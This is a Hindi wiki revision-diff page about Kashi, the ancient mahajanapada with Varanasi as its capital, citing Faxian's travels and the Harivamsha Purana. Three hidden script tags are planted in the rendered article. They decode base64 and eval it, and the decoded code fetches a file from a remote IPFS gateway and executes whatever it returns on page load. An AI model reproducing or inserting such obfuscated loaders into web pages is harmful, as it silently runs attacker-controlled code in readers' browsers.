"काशी" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
पंक्ति 1: पंक्ति 1:
 
[[चित्र:Kashi-Map.jpg|thumb|300px|काशी महाजनपद]]
 
[[चित्र:Kashi-Map.jpg|thumb|300px|काशी महाजनपद]]
पौराणिक [[सोलह महाजनपद|16 महाजनपदों]] में से एक। [[वाराणसी]] का दूसरा नाम ‘काशी’ प्राचीन काल में एक जनपद के रूप में प्रख्यात था और वाराणसी उसकी राजधानी थी। इसकी पुष्टि पाँचवीं शताब्दी में [[भारत]] आने वाले चीनी यात्री [[फाह्यान]] के यात्रा विवरण से भी होती है।<ref>जेम्स लेग्गे, ट्रेवेल्स ऑफ़ [[फाह्यान]], ([[दिल्ली]], [[1972]], द्वितीय संस्करण), पृष्ठ 94</ref> [[हरिवंशपुराण]] में उल्लेख आया है कि ‘काशी’ को बसाने वाले पुरुरवा के वंशज राजा ‘काश’ थे। अत: उनके वंशज ‘काशि’ कहलाए।<ref>‘‘काशस्य काशयो राजन् पुत्रोदीर्घतपस्तथा।’’ – [[हरिवंशपुराण]], अध्याय 29</ref> संभव है इसके आधार पर ही इस जनपद का नाम ‘काशी’ पड़ा हो।  
+
*पौराणिक [[सोलह महाजनपद|16 महाजनपदों]] में से एक। [[वाराणसी]] का दूसरा नाम ‘काशी’ प्राचीन काल में एक जनपद के रूप में प्रख्यात था और वाराणसी उसकी राजधानी थी।  
काशी नामकरण से संबद्ध एक पौराणिक मिथक भी उपलब्ध है। उल्लेख है कि [[विष्णु]] ने [[पार्वती]] के मुक्तामय कुंडल गिर जाने से इस क्षेत्र को मुक्त क्षेत्र की संज्ञा दी और इसकी अकथनीय परम ज्योति के कारण तीर्थ का नामकरण काशी किया।<ref>‘‘काशते त्रयतो ज्योतिस्तदनख्येमपोश्वर:। अतोनापरं चास्तुकाशीति प्रथितांविभो।’ ॥68॥ काशी खंड, अध्याय 26</ref>
+
*इसकी पुष्टि पाँचवीं शताब्दी में [[भारत]] आने वाले चीनी यात्री [[फाह्यान]] के यात्रा विवरण से भी होती है।<ref>जेम्स लेग्गे, ट्रेवेल्स ऑफ़ [[फाह्यान]], ([[दिल्ली]], [[1972]], द्वितीय संस्करण), पृष्ठ 94</ref>  
 +
*[[हरिवंशपुराण]] में उल्लेख आया है कि ‘काशी’ को बसाने वाले [[पुरुरवा]] के वंशज राजा ‘काश’ थे। अत: उनके वंशज ‘काशि’ कहलाए।<ref>‘‘काशस्य काशयो राजन् पुत्रोदीर्घतपस्तथा।’’ – [[हरिवंशपुराण]], अध्याय 29</ref> संभव है इसके आधार पर ही इस जनपद का नाम ‘काशी’ पड़ा हो।  
 +
*काशी नामकरण से संबद्ध एक पौराणिक मिथक भी उपलब्ध है। उल्लेख है कि [[विष्णु]] ने [[पार्वती]] के मुक्तामय कुंडल गिर जाने से इस क्षेत्र को मुक्त क्षेत्र की संज्ञा दी और इसकी अकथनीय परम ज्योति के कारण तीर्थ का नामकरण काशी किया।<ref>‘‘काशते त्रयतो ज्योतिस्तदनख्येमपोश्वर:। अतोनापरं चास्तुकाशीति प्रथितांविभो।’ ॥68॥ काशी खंड, अध्याय 26</ref>
  
 +
{{seealso|वाराणसी|वाराणसी पर्यटन|वाराणसी ज़िला}}
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>
पंक्ति 9: पंक्ति 12:
 
[[Category:इतिहास कोश]]
 
[[Category:इतिहास कोश]]
 
[[Category:सोलह महाजनपद]]
 
[[Category:सोलह महाजनपद]]
[[Category:भारत के महाजनपद]][[Category:ऐतिहासिक स्थान कोश]][[Category:उत्तर प्रदेश के ऐतिहासिक नगर]][[Category:धार्मिक_स्थल_कोश]][[Category:इतिहास कोश]][[Category:वाराणसी]]
+
[[Category:भारत के महाजनपद]][[Category:ऐतिहासिक स्थान कोश]]
 +
[[Category:उत्तर प्रदेश के ऐतिहासिक नगर]]
 +
[[Category:धार्मिक_स्थल_कोश]][[Category:इतिहास कोश]][[Category:वाराणसी]]
 
__INDEX__
 
__INDEX__

05:20, 24 फ़रवरी 2011 का अवतरण

काशी महाजनपद
  • पौराणिक 16 महाजनपदों में से एक। वाराणसी का दूसरा नाम ‘काशी’ प्राचीन काल में एक जनपद के रूप में प्रख्यात था और वाराणसी उसकी राजधानी थी।
  • इसकी पुष्टि पाँचवीं शताब्दी में भारत आने वाले चीनी यात्री फाह्यान के यात्रा विवरण से भी होती है।[1]
  • हरिवंशपुराण में उल्लेख आया है कि ‘काशी’ को बसाने वाले पुरुरवा के वंशज राजा ‘काश’ थे। अत: उनके वंशज ‘काशि’ कहलाए।[2] संभव है इसके आधार पर ही इस जनपद का नाम ‘काशी’ पड़ा हो।
  • काशी नामकरण से संबद्ध एक पौराणिक मिथक भी उपलब्ध है। उल्लेख है कि विष्णु ने पार्वती के मुक्तामय कुंडल गिर जाने से इस क्षेत्र को मुक्त क्षेत्र की संज्ञा दी और इसकी अकथनीय परम ज्योति के कारण तीर्थ का नामकरण काशी किया।[3]

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>इन्हें भी देखें: वाराणसी, वाराणसी पर्यटन एवं वाराणसी ज़िला<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. जेम्स लेग्गे, ट्रेवेल्स ऑफ़ फाह्यान, (दिल्ली, 1972, द्वितीय संस्करण), पृष्ठ 94
  2. ‘‘काशस्य काशयो राजन् पुत्रोदीर्घतपस्तथा।’’ – हरिवंशपुराण, अध्याय 29
  3. ‘‘काशते त्रयतो ज्योतिस्तदनख्येमपोश्वर:। अतोनापरं चास्तुकाशीति प्रथितांविभो।’ ॥68॥ काशी खंड, अध्याय 26

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>